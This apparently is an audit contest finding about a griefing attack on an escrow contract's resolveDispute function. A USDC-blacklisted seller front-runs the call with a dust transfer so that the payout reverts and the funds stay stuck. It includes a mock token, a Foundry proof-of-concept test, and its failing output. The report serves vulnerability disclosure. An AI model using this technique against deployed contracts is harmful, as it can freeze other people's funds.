40,000 USDC
View results
Submission Details
Severity: medium
Valid

malicious seller can make griefing attack

Summary

If the token is USDC, a malicious seller could make the resolveDispute call fail through a griefing attack

Vulnerability Details

If a malicious seller is added to the USDC blacklist, they can make the resolveDispute call fail by performing a front-run transfer of a certain amount.

Here is the flow of the attack:

For any reason, the buyer and seller decide not to work together and the buyer wants their tokens back.

Suppose that: contractEscrow balance = 50 USDC i_arbiterFee = 10 USDC

The arbiter calls resolveDispute with buyerAward = 40 USDC (this way, 40 USDC is transferred to the buyer and 10 USDC to the arbiter).

The malicious seller (whose address is added to the blacklist) sees the transaction in the mempool and, from another address != seller, transfers for example 0.001 USDC. This makes the contractEscrow balance = 50.001 USDC

this make that fail in this lines

 tokenBalance = i_tokenContract.balanceOf(address(this));
    if (tokenBalance > 0) {
        i_tokenContract.safeTransfer(i_seller, tokenBalance);
    }

runt test for demostration

first we make mocker20 to usdc transfer blocked (for test purpose number decimals don't care)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {ERC20} from 
"@openzeppelin/contracts/token/ERC20/ERC20.sol";


contract ERC20MockTransBlocked is ERC20 {
address seller;
constructor(address _seller) ERC20("fdfd","fdf") {
    seller=_seller;


}

function mint(address account, uint256 amount)   external {
    _mint(account, amount);
}

function burn(address account, uint256 amount)   external {
    _burn(account, amount);
}

  function transfer(address to, uint256 amount) public  override returns (bool) {
    require(to!=seller,"blocked");// if seller == to revert
    super.transfer(to,amount);
    return true;
}

}

then import and run this test in EscrowTest.t.sol

 function test_ResolveDispute_fail_dueMaliciousSeller() public  {

    address other = address(66);

    ERC20MockTransBlocked token = new ERC20MockTransBlocked(SELLER);
    vm.startPrank(BUYER);
    ERC20MockTransBlocked(address(token)).mint(BUYER, 50e18);
    ERC20MockTransBlocked(address(token)).mint(other, 5e18);

    console.log("other balance:",token.balanceOf(other));

    ERC20MockTransBlocked(address(token)).approve(address(escrowFactory), 50e18);
    escrow = escrowFactory.newEscrow(50e18, token, SELLER, ARBITER, 10e18, SALT1);
    vm.stopPrank();

    vm.prank(BUYER);
    escrow.initiateDispute();

    console.log("escrow balance before:",token.balanceOf(address(escrow)));

    /****** simuling front run*********/
    vm.prank(other);
    token.transfer(address(escrow),1);

    console.log("escrow balance after:",token.balanceOf(address(escrow)));

    vm.prank(ARBITER);
    escrow.resolveDispute(40e18);
    assertEq(uint256(escrow.getState()), uint256(IEscrow.State.Resolved));

}

the result

Running 1 test for test/unit/EscrowTest.t.sol:EscrowTest
[FAIL. Reason: blocked] 
test_ResolveDispute_fail_dueMaliciousSeller() (gas: 1549875)
Logs:
  other balance: 5000000000000000000
  escrow balance before: 50000000000000000000
  escrow balance after: 50000000000000000001

Test result: FAILED. 0 passed; 1 failed; finished in 8.82ms

Failing tests:
Encountered 1 failing test in 
test/unit/EscrowTest.t.sol:EscrowTest
[FAIL. Reason: blocked] 
test_ResolveDispute_fail_dueMaliciousSeller() (gas: 1549875)

Encountered a total of 1 failing tests, 0 tests succeeded

Impact

A malicious seller can make the tokens become stuck in the contract## Tools Used

Recommendations

Add a function to retrieve tokens

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.